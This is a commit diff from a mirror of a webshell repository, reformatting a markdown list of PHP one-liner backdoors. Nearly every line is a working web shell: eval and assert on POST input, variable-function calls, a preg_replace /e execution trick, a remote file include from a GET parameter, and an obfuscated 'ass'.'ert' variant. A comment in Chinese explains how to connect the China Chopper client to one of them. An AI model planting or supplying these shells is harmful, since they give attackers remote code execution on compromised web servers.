1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 21:01:29 +00:00

Update php一句话.md

This commit is contained in:
tennc
2015-09-21 17:01:45 +08:00
parent 14825d7f6f
commit 2acbcdf6d5

View File

@@ -1,15 +1,14 @@
[+]php一句话 ### php一句话
1. <?php eval($_POST[sb]);?> * <?php eval($_POST[sb]);?>
2. <?php @eval($_POST[sb]);?> * <?php @eval($_POST[sb]);?>
3. <?php assert($_POST[sb]);?> * <?php assert($_POST[sb]);?>
4. <?$_POST['sa']($_POST['sb']);?> * <?$_POST['sa']($_POST['sb']);?>
5. <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> * <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
6. <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> * <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
  //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入   //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
  <O>h=@eval($_POST[c]);</O>   <O>h=@eval($_POST[c]);</O>
7. <script language="php">@eval($_POST[sb])</script> * <script language="php">@eval($_POST[sb])</script>
8. $filename=$_GET['xbid']; * $filename=$_GET['xbid'];
include ($filename); include ($filename);
9. <?php * <?php $c='ass'.'ert';${c}($_POST[4]);?>
$c='ass'.'ert';${c}($_POST[4]);?>